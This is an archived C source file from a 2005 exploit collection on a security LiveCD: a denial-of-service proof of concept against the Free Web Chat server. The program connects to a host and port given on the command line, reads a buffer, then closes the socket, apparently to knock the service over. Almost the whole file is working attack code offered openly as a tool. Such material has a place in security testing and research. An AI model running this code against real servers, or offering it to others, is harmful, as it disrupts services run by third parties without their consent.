home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / freewebchat / FreeWebChat[ir]DoS-poc.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  144 lines

  1. /*
  2.      Free Web Chat (Initial Release)- DoS - Proof Of Concept
  3.      Coded by: Donato Ferrante
  4. */
  5.  
  6.  
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10.  
  11. #ifdef WIN32
  12.     #include <windows.h>
  13. #else
  14.     #include <unistd.h>
  15.     #include <sys/socket.h>
  16.     #include <arpa/inet.h>
  17.     #include <netdb.h>
  18. #endif
  19.  
  20. #define VERSION "0.1"
  21.  
  22.  
  23.  
  24.  
  25.  
  26. void FreeWebChatPoC( char *host, int port );
  27. u_long resolv(char *host);
  28.  
  29.  
  30.  
  31.  
  32. int main(int argc, char *argv[]) {
  33.  
  34.    fprintf(
  35.         stdout,
  36.         "\n\nFree Web Chat - DoS - Proof Of Concept\n"
  37.         "Version: %s\n\n"
  38.         "coded by: Donato Ferrante\n"
  39.         "e-mail:   fdonato@autistici.org\n"
  40.         "web:      www.autistici.org/fdonato\n\n"
  41.         , VERSION
  42.         );
  43.  
  44.   if(argc <= 2){
  45.      fprintf(stdout, "Usage: <host> <port>");
  46.      exit(-1);
  47.   }
  48.  
  49. int port = atoi(argv[2]);
  50.  
  51. #ifdef WIN32
  52.     WSADATA wsadata;
  53.     WSAStartup(MAKEWORD(1,0), &wsadata);
  54. #endif
  55.  
  56.     FreeWebChatPoC( argv[1], port );
  57.  
  58.     return(0);
  59. }
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67.    void FreeWebChatPoC( char *host, int port ){
  68.  
  69.     struct sockaddr_in peer;
  70.  
  71.     int sd,
  72.         err;
  73.  
  74.     peer.sin_addr.s_addr = resolv(host);
  75.     peer.sin_port        = htons(port);
  76.     peer.sin_family      = AF_INET;
  77.  
  78.  
  79.     char *buff = (char *)malloc(513);
  80.  
  81.     fprintf(
  82.             stdout,
  83.             "\nConnecting to: %s:%hu\n\n",
  84.             inet_ntoa(peer.sin_addr),
  85.             port
  86.           );
  87.  
  88.       sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  89.            if(sd < 0){
  90.                 perror("Error");
  91.                 exit(-1);
  92.            }
  93.  
  94.       err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
  95.            if(err < 0){
  96.                 perror("Error");
  97.                 exit(-1);
  98.            }
  99.  
  100.       err = recv(sd, buff, 512, 0);
  101.            if(err < 0){
  102.                 perror("Error");
  103.                 exit(-1);
  104.            }
  105.  
  106. #ifdef WIN32
  107.       closesocket(sd);
  108. #else
  109.       close(sd);
  110. #endif
  111.  
  112.     free(buff);
  113.  
  114.     fprintf(
  115.           stdout,
  116.           "\nFree_Web_Chat - DoS - Proof_Of_Concept terminated.\n\n"
  117.     );
  118.  
  119. }
  120.  
  121.  
  122.  
  123.  
  124. u_long resolv(char *host) {
  125.     struct      hostent *hp;
  126.     u_long      host_ip;
  127.  
  128.     host_ip = inet_addr(host);
  129.     if(host_ip == INADDR_NONE) {
  130.         hp = gethostbyname(host);
  131.         if(!hp) {
  132.             printf("\nError: Unable to resolv hostname (%s)\n", host);
  133.             exit(1);
  134.         } else host_ip = *(u_long *)(hp->h_addr);
  135.     }
  136.  
  137.     return(host_ip);
  138. }
  139.  
  140.  
  141.  
  142.  
  143.  
  144.